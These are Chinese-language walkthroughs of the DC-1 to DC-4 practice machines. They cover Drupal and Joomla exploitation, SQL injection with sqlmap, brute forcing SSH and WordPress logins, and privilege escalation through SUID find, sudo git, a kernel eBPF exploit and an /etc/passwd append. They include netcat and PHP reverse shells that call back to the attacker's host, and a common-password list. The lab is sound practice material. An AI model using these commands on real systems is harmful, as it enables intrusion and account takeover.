DC1
文章前提概述
本文介紹DC-1靶機的滲透測驗流程
涉及知識點(比較基礎):
nmap掃描網段埠服務
msf的漏洞搜索
drupal7的命令執行利用
netcat反向shell
mysql的基本操作
sudi提權
基本環境搭建
靶機下載地址:http://www.five86.com/downloads/DC-1.zip
https://download.vulnhub.com/dc/DC-1.zip
VMware（windows）:https://www.52pojie.cn/thread-1026907-1-1.html
選擇高版本的vmware，不然可能不支持ova匯入
下載匯入開機vmware設定選擇nat模式，目的讓你的攻擊機和靶機在一個網段，可以根據網路環境自行設定只要在一個網段就行，
基礎資訊收集
nmap掃描
nmap -A 192.168.124.0/24
掃描結果
開發80，111，22ssh埠
Host is up (0.00039s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 37454/udp status
| 100024 1 39208/udp6 status
| 100024 1 52048/tcp status
|_ 100024 1 57763/tcp6 status
MAC Address: 00:0C:29:A6:59:A3 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.39 ms 192.168.124.145
先爆破一下ssh吧(無結果)
nmap --script=ssh-brute 192.168.124.145
訪問80埠
嘗試了注冊，登錄的弱密碼，修改密碼，無效，但發現admin用戶存在
wappalyzer指紋識別，發現室Drupal系統
去漏洞庫和msf搜索一下
msfconsole
search Drupal
發現有漏洞可以用那就開始msf吧
使用2018年的漏洞吧，是個遠程代碼執行(代碼審計現在真心看不懂，??)
https://www.exploit-db.com/exploits/44482
https://paper.seebug.org/567/
msf發現連接成功
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.124.145
run
尋找一下flag
shell
find / -name flag*
/home/flag4
/home/flag4/flag4.txt
/var/www/flag1.txt
打開flag1.txt試試
cat /var/www/flag1.txt
翻譯一下:每一個好的CMS都需要一個組態檔--你也一樣，
搜索Drupal的組態檔
/var/www/sites/default/settings.php，打開
cat /var/www/sites/default/settings.php
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
發現了flag2和資料庫的賬號密碼，嘗試連接一下
先弄一下互動shell吧
python -c 'import pty;pty.spawn("/bin/bash")'
連接資料庫嘗試一下
mysql -u dbuser -p R0ck3t
查看一下node和user表，發現flag3
select * from node;
select * from users;
為什么要看node表呢？？？(user表就不說了吧)
因為drupal node機制
drupal node機制理解
so，嘗試獲得登錄的密碼，hash值破解可能不太現實
我們注冊一個賬號將二者hash互換不就可以了
我丟不行，注冊沒法寫密碼，
那找到加密腳本自己加密一個不就行了
加密腳本位置
scripts/password-hash.sh
php scripts/password-hash.sh admin
password: admin hash: $S$DyyA5HnUonyq8xJJZeWKGIsIxaDpzGM6jbKqPiERZ/lLMnsWkUB.
嘗試更換管理員密碼的hash
update users set pass='$S$DyyA5HnUonyq8xJJZeWKGIsIxaDpzGM6jbKqPiERZ/lLMnsWkUB.' where name='admin';
下面登錄測驗一下,賬號admin密碼admin
在content中發現
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
也就是說我們需要尋找密碼，而且提示shadow，之前的flag4還沒看
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
應該是讓獲得管理員權限，再去/etc/shadow看看
嘗試給權限，還是不行
那只能嘗試提權了
suid提權
SUID是set uid的簡稱，它出現在檔案所屬主權限的執行位上面，標志為 s ，當設定了SUID后，UMSK第一位為4，我們知道，我們賬戶的密碼檔案存放在/etc/shadow中，而/etc/shadow的權限為 ----------，也就是說：只有root用戶可以對該目錄進行操作，而其他用戶連查看的權限都沒有，當普通用戶要修改自己的密碼的時候，可以使用passwd這個指令，passwd這個指令在/bin/passwd下，當我們執行這個命令后，就可以修改/etc/shadow下的密碼了，那么為什么我們可以通過passwd這個指令去修改一個我們沒有權限的檔案呢？這里就用到了suid，suid的作用是讓執行該命令的用戶以該命令擁有者即root的權限去執行，意思是當普通用戶執行passwd時會擁有root的權限，這樣就可以修改/etc/passwd這個檔案了，
參考文章:Linux下的用戶、組和權限
已知的可用來提權的linux可行性的檔案串列如下：
nmap,vim,find,bash,more,less,nano,cp
發現系統上運行的所有SUID可執行檔案
不同系統適用于不同的命令
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
嘗試查看find是否有suid權限
/usr/bin/find /tmp -exec whoami \;
find 命令說明
-exec 引數后面跟的是command命令，它的終止是以;為結束標志的，所以這句命令后面的分號是不可缺少的，考慮到各個系統中分號會有不同的意義，所以前面加反斜杠，-exec引數后面跟的就是我們想進一步操作的命令,so，我們可以以root的權限命令執行了
反彈一個shell，當然find和執行命令，我們也可以回傳一個root的netcat的后門
/usr/bin/find ./aaa -exec '/bin/sh' \;
/usr/bin/find ./aaa -exec netcat -lvp 4444 -e "/bin/sh" \;
netcat 192.168.124.145 4444
最后,獲得最后一個flag
cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
參考文章
freebuf:https://www.freebuf.com/articles/network/218073.html
知乎:https://zhuanlan.zhihu.com/p/135342104
W3:https://medium.com/@w3rallmachines/dc-1-vulnhub-walkthrough-3a2e7042c640
DC2
環境搭建
靶機下載地址:http://www.five86.com/downloads/DC-2.zip
基本資訊收集
nmap基本掃描，發現ip地址192.168.124.146，開發埠80，使用的wordpress框架
nmap -A 192.168.124.0/24
Nmap scan report for dc-2 (192.168.124.146)
Host is up (0.00036s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.7.10
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: DC-2 – Just another WordPress site
|_https-redirect: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:94:8C:B4 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
對埠進一步掃描,發現開發了7744埠(不清楚是什么服務，因該是ssh吧)：
nmap -sS 192.168.124.146 -p 1-65535
Nmap scan report for dc-2 (192.168.124.146)
Host is up (0.00094s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
80/tcp open http
7744/tcp open raqmon-pdu
訪問192.168.124.146發現訪問不了，這里需要改下本地的dns
linux:
vim /etc/hosts
windows:
C:\Windows\System32\drivers\etc
訪問果然是個wordpress框架
flag1
發現有flag,點進去，提示用cewl來獲取密碼，所有應該是爆破密碼之類的，且提示自己的密碼字典可能無效，且有時沒法獲得所有密碼，提示用其他的身份去登錄
那還說什么cewl搞起
cewl是通過爬行網站獲取關鍵資訊創建一個密碼字典
cewl http://dc-2/index.php/flag/ -w dict.txt
-w 輸出的檔案名稱
發現主題是wordpress，那就掃描一下用戶吧，提示密碼了，因該是讓登錄
使用wpscan工具：
WPScan是Kali Linux默認自帶的一款漏洞掃描工具，它采用Ruby撰寫，能夠掃描WordPress網站中的多種安全漏洞，其中包括主題漏洞、插件漏洞和WordPress本身的漏洞，最新版本WPScan的資料庫中包含超過18000種插件漏洞和2600種主題漏洞，并且支持最新版本的WordPress，值得注意的是，它不僅能夠掃描類似robots.txt這樣的敏感檔案，而且還能夠檢測當前已啟用的插件和其他功能，
該掃描器可以實作獲取站點用戶名，獲取安裝的所有插件、主題，以及存在漏洞的插件、主題，并提供漏洞資訊，同時還可以實作對未加防護的Wordpress站點暴力破解用戶名密碼，
列舉一下用戶,列舉出admin，jerry，tom
wpscan --url http://dc-2 --enumerate u
[+] URL: http://dc-2/ [192.168.124.146]
[+] Started: Sat Nov 7 02:23:05 2020
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.10 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://dc-2/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://dc-2/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://dc-2/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03).
| Found By: Rss Generator (Passive Detection)
| - http://dc-2/index.php/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
| - http://dc-2/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
[+] WordPress theme in use: twentyseventeen
| Location: http://dc-2/wp-content/themes/twentyseventeen/
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.2 (80% confidence)
| Found By: Style (Passive Detection)
| - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <====================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] jerry
| Found By: Wp Json Api (Aggressive Detection)
| - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] tom
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
爆破一下用戶名和密碼
touch users.txt
將用戶名admin，jerry，tom存入
用剛剛抓取的密碼字典和用戶字典進行爆破
wpscan --url http://dc-2/ -U users.txt -P dict.txt
[!] Valid Combinations Found:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
成功爆破出了兩個用戶名和密碼，沒有admin的
嘗試登錄，登錄成功，且在page中發現flag2
提示無法利用wordpress采取捷徑，嘗試令一種方法，之前nmap掃描出了7744埠，那么我們是不是可以嘗試ssh登錄
發現使用tom賬號登錄成功
ssh [email protected] -p 7744
password:parturient
嘗試讀取檔案
發現被rbash，也就是說是被受限的shell
參考鏈接:freebuf
先嘗試"/"能不能用
cp命令
FTP,GDB,main,git沒有，發現vi可以用，那就試試被
vi test
set shell=/bin/sh
shell
更改PATH或SHELL環境變數
查看
export -p
export HOME='/home/tom'
export LANG='en_US.UTF-8'
export LOGNAME='tom'
export MAIL='/var/mail/tom'
export PATH='/home/tom/usr/bin'
export PWD='/home/tom'
export SHELL='/bin/rbash'
export SHLVL='1'
export SSH_CLIENT='192.168.124.139 51336 7744'
export SSH_CONNECTION='192.168.124.139 51336 192.168.124.146 7744'
export SSH_TTY='/dev/pts/1'
export TERM='xterm-256color'
export USER='tom'
export VIM='/usr/share/vim'
export VIMRUNTIME='/usr/share/vim/vim74'
export _='whoami'
修改path
export PATH="/usr/sbin:/usr/bin:/rbin:/bin"
打開flag3.txt發現，提示要切換用戶到jerry
切換用戶，home發現flag4
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. ??
Go on - git outta here!!!!
這里提示git提權
sudo git help config
成功獲取root權限，讀取檔案
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.
參考文章
linux提權
freebuf
wpscan
vulnhub: DC 2
DC3
靶場搭建
靶場的下載：http://www.five86.com/downloads/DC-3-2.zip
基本資訊收集
nmap -sS A 192.168.124.0/24
Nmap scan report for 192.168.124.147
Host is up (0.00041s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
MAC Address: 00:0C:29:EF:73:10 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.41 ms 192.168.124.147
對埠的進一步掃描，沒有發現其他的埠
nmap 192.168.124.147
訪問192.168.124.147的80埠，發現提示，和cms是joomla
使用joomscan進行進一步掃描
它是一個Joomla掃描儀， 它將幫助網路開發人員和網站管理員幫助確定已部署的Joomla網站可能存在的安全漏洞，
安裝joomscan(kali中)
apt-get install joomscan
joomscan --url http://192.168.124.147
也可使用CMSseek進一步掃描
安裝CMSseek
git clone https://github.com/Tuhinshubhra/CMSeeK
使用
python3 cmseek.py --url 192.168.124.147
資訊一樣
搜索joomla漏洞
searchsploit joomla 3.7.0
打開查看漏洞詳情
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
查看發現存在sql注入，具體漏原理seebug
簡單來說就是
com_fields組件，對請求資料沒有進行過濾，從而導致sql注入，未過濾位置
測驗一下
http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)
sqlmap進行注入
爆資料庫名
sqlmap -u "http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" --dbs
爆表名
qlmap -u "http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" --tables
爆欄位名
sqlmap -u "http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" --columns
爆資料
sqlmap -u "http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" -C name,password --dump
嘗試破解密碼
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
創建檔案
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > test
爆破密碼
john test
john test --show
John the Ripper (“JtR”) 是一個非常有用的工具，這是一個快速的密碼破解，適用于Windows和許多Linux系統，它具有很多功能，對于很多密碼破解均有奇效，
登錄寫shell頁面
登錄網站:http://192.168.124.147/administrator/
撰寫新頁面
點擊撰寫
new file撰寫
蟻劍鏈接
嘗試提權
嘗試suid提權
find / -perm -u=s -type f 2>/dev/null
發現沒有可提權程式
嘗試命令提權，發現咩用
嘗試linux內核提權
uname -a
cat /etc/issue
尋找內核提權腳本
searchsploit Ubuntu 16.04
嘗試一下
cat \usr\share\exploitdb\exploits\linux\local\39772.txt
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.04.
When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first
function that touches the supplied eBPF instructions is
replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF
map file descriptors and looks up pointers for the corresponding map files.
This is done as follows:
/* look for pseudo eBPF instructions that access map FDs and
* replace them with actual map pointers
*/
static int replace_map_fd_with_map_ptr(struct verifier_env *env)
{
struct bpf_insn *insn = env->prog->insnsi;
int insn_cnt = env->prog->len;
int i, j;
for (i = 0; i < insn_cnt; i++, insn++) {
[checks for bad instructions]
if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
struct bpf_map *map;
struct fd f;
[checks for bad instructions]
f = fdget(insn->imm);
map = __bpf_map_get(f);
if (IS_ERR(map)) {
verbose("fd %d is not pointing to valid bpf_map\n",
insn->imm);
fdput(f);
return PTR_ERR(map);
}
[...]
}
}
[...]
}
__bpf_map_get contains the following code:
/* if error is returned, fd is released.
* On success caller should complete fd access with matching fdput()
*/
struct bpf_map *__bpf_map_get(struct fd f)
{
if (!f.file)
return ERR_PTR(-EBADF);
if (f.file->f_op != &bpf_map_fops) {
fdput(f);
return ERR_PTR(-EINVAL);
}
return f.file->private_data;
}
The problem is that when the caller supplies a file descriptor number referring
to a struct file that is not an eBPF map, both __bpf_map_get() and
replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If
__fget_light() detected that the file descriptor table is shared with another
task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause
the reference count of the struct file to be over-decremented, allowing an
attacker to create a use-after-free situation where a struct file is freed
although there are still references to it.
A simple proof of concept that causes oopses/crashes on a kernel compiled with
memory debugging options is attached as crasher.tar.
One way to exploit this issue is to create a writable file descriptor, start a
write operation on it, wait for the kernel to verify the file's writability,
then free the writable file and open a readonly file that is allocated in the
same place before the kernel writes into the freed file, allowing an attacker
to write data to a readonly file. By e.g. writing to /etc/crontab, root
privileges can then be obtained.
There are two problems with this approach:
The attacker should ideally be able to determine whether a newly allocated
struct file is located at the same address as the previously freed one. Linux
provides a syscall that performs exactly this comparison for the caller:
kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd).
In order to make exploitation more reliable, the attacker should be able to
pause code execution in the kernel between the writability check of the target
file and the actual write operation. This can be done by abusing the writev()
syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays
read accesses, then mmap()s a file containing a struct iovec from that FUSE
filesystem and passes the result of mmap() to writev(). (Another way to do this
would be to use the userfaultfd() syscall.)
writev() calls do_writev(), which looks up the struct file * corresponding to
the file descriptor number and then calls vfs_writev(). vfs_writev() verifies
that the target file is writable, then calls do_readv_writev(), which first
copies the struct iovec from userspace using import_iovec(), then performs the
rest of the write operation. Because import_iovec() performs a userspace memory
access, it may have to wait for pages to be faulted in - and in this case, it
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,
allowing the attacker to suspend code execution in the kernel at that point
arbitrarily.
An exploit that puts all this together is in exploit.tar. Usage:
user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)
This exploit was tested on a Ubuntu 16.04 Desktop system.
Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7
Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
提示有exp的地址，下載
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
解壓上傳到靶機目錄，解壓
tar -xf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
先反彈一下互動形的shell
創建一個phpshell.php檔案，寫入
<?php
system("$sock=fsockopen(\"192.168.124.139\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");");
?>
kali端
netcat -l -p 4444
蟻劍執行
php phpshell.php
kali收到反彈的shell
執行剛剛編譯的exp
提權成功
尋找flag root下
成功獲得flag
__ __ _ _ ____ _ _ _ _
\ \ / /__| | | | _ \ ___ _ __ ___| | | | |
\ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
\ V V / __/ | | | |_| | (_) | | | | __/_|_|_|_|
\_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
Congratulations are in order. :-)
I hope you've enjoyed this challenge as I enjoyed making it.
If there are any ways that I can improve these little challenges,
please let me know.
As per usual, comments and complaints can be sent via Twitter to @DCAU7
Have a great day!!!!
參考文章
https://www.cnblogs.com/yurang/p/12735286.html
https://www.exploit-db.com/exploits/44227
DC4
靶場的搭建
靶場下載地址:https://download.vulnhub.com/dc/DC-4.zip
基本資訊收集
nmap掃描網段
nmap -sS -A 192.168.124.0/24
Nmap scan report for 192.168.124.148
Host is up (0.00022s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
| 256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_ 256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open http nginx 1.15.10
|_http-server-header: nginx/1.15.10
|_http-title: System Tools
MAC Address: 00:0C:29:40:C9:C1 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.22 ms 192.168.124.148
得到基本資訊開放了80，ssh埠，作業系統Debian
先爆破一下ssh吧(無結果)
nmap --script=ssh-brute 192.168.124.148
查看80埠，發現不是cms，是個登錄框，提醒admin登錄
嘗試sql,burpsuite跑一下字典沒結果，那我再跑一下看看有過濾沒(我丟還是啥結果沒有)，看來沒有注入呀
讓我百度一下題解，我丟，暴力破解密碼可還行，那是時候祭出我100w的大字典了(heng!)
再見沒爆破出來直接看答案(我一點也不happy)，看來字典有的落后了
賬號:admin
密碼:happy
登錄進去
嘗試登錄發現是個命令執行功能，抓包看看，更改一下ls，發現能讀取檔案，那先讀取comment看看是怎么執行的
我丟，直接shell_exec(),那直接反彈shell
nc 192.168.124.139 4444 -e /bin/bash
kali端
netcat -l -p 4444
反彈一下互動shell
python -c 'import pty;pty.spawn("/bin/sh")'
發現密碼
在下面目錄發現old-passwords.bak
/home/jim/backups
說是old密碼,打開
cat old-passwords.bak
000000
12345
iloveyou
1q2w3e4r5t
1234
123456a
qwertyuiop
monkey
123321
dragon
654321
666666
123
myspace1
a123456
121212
1qaz2wsx
123qwe
123abc
tinkle
target123
gwerty
1g2w3e4r
gwerty123
zag12wsx
7777777
qwerty1
1q2w3e4r
987654321
222222
qwe123
qwerty123
zxcvbnm
555555
112233
fuckyou
asdfghjkl
12345a
123123123
1q2w3e
qazwsx
loveme1
juventus
jennifer1
!~!1
bubbles
samuel
fuckoff
lovers
cheese1
0123456
123asd
999999999
madison
elizabeth1
music
buster1
lauren
david1
tigger1
123qweasd
taylor1
carlos
tinkerbell
samantha1
Sojdlg123aljg
joshua1
poop
stella
myspace123
asdasd5
freedom1
whatever1
xxxxxx
00000
valentina
a1b2c3
741852963
austin
monica
qaz123
lovely1
music1
harley1
family1
spongebob1
steven
nirvana
1234abcd
hellokitty
thomas1
cooper
520520
muffin
christian1
love13
fucku2
arsenal1
lucky7
diablo
apples
george1
babyboy1
crystal
1122334455
player1
aa123456
vfhbyf
forever1
Password
winston
chivas1
sexy
hockey1
1a2b3c4d
pussy
playboy1
stalker
cherry
tweety
toyota
creative
gemini
pretty1
maverick
brittany1
nathan1
letmein1
cameron1
secret1
google1
heaven
martina
murphy
spongebob
uQA9Ebw445
fernando
pretty
startfinding
softball
dolphin1
fuckme
test123
qwerty1234
kobe24
alejandro
adrian
september
aaaaaa1
bubba1
isabella
abc123456
password3
jason1
abcdefg123
loveyou1
shannon
100200
manuel
leonardo
molly1
flowers
123456z
007007
password.
321321
miguel
samsung1
sergey
sweet1
abc1234
windows
qwert123
vfrcbv
poohbear
d123456
school1
badboy
951753
123456c
111
steven1
snoopy1
garfield
YAgjecc826
compaq
candy1
sarah1
qwerty123456
123456l
eminem1
141414
789789
maria
steelers
iloveme1
morgan1
winner
boomer
lolita
nastya
alexis1
carmen
angelo
nicholas1
portugal
precious
jackass1
jonathan1
yfnfif
bitch
tiffany
rabbit
rainbow1
angel123
popcorn
barbara
brandy
starwars1
barney
natalia
jibril04
hiphop
tiffany1
shorty
poohbear1
simone
albert
marlboro
hardcore
cowboys
sydney
alex
scorpio
1234512345
q12345
qq123456
onelove
bond007
abcdefg1
eagles
crystal1
azertyuiop
winter
sexy12
angelina
james
svetlana
fatima
123456k
icecream
popcorn1
生成爆破字典，爆破ssh
使用hydra，進行爆破,hydra是著名黑客組織thc的一款開源的暴力密碼破解工具，可以在線破解多種密碼，
破解ssh：
hydra -l 用戶名 -p 密碼字典 -t 執行緒 -vV -e ns ip ssh
hydra -l 用戶名 -p 密碼字典 -t 執行緒 -o save.log -vV ip ssh
破解ftp：
hydra ip ftp -l 用戶名 -P 密碼字典 -t 執行緒(默認16) -vV
hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV
爆破ssh
hydra -l jim -P passwd.txt -t 10 ssh://192.168.124.148
爆出ssh登錄密碼
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-10 08:38:19
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 10 tasks per 1 server, overall 10 tasks, 252 login tries (l:1/p:252), ~26 tries per task
[DATA] attacking ssh://192.168.124.148:22/
[STATUS] 110.00 tries/min, 110 tries in 00:01h, 142 to do in 00:02h, 10 active
[STATUS] 80.00 tries/min, 160 tries in 00:02h, 92 to do in 00:02h, 10 active
[22][ssh] host: 192.168.124.148 login: jim password: jibril04
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-11-10 08:41:16
ssh賬號:jim密碼:jibril04
提示有個mail
讀取一下信封
/var/mail/jim
告訴了我們賬號密碼
Password is: ^xHhA&hvim0y
See ya,
Charles
切換一下用戶
su charles
查看能夠root執行的命令
sudo -l
發有能夠以root執行的teehee命令,而teehee的作用是可以向檔案中追加內容
提權
將賬號寫入/etc/passwd中
密碼設定為空
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
對于admin::0:0:::/bin/bash的解釋
[用戶名]：[密碼]：[UID]：[GID]：[身份描述]：[主目錄]：[登錄shell]
參考文章
也可以不將密碼設定為空
mkpasswd -m SHA-512 12345
然后
sudo teehee -a /etc/passwd 12345:$6$OXVv4N3qtVc0LQeI$CPmgAD9tTpzpCu86IaC9gIx6MYta8/huc3utEd3WwyhUWSbDxKIwi/3XCAHjOqn.rT/lamYZTxbKDoJXkxXaa1:0:0:::/bin/bash
其中-e 類似等于>>
然后切換用戶
cat /root/flag.txt
888 888 888 888 8888888b. 888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
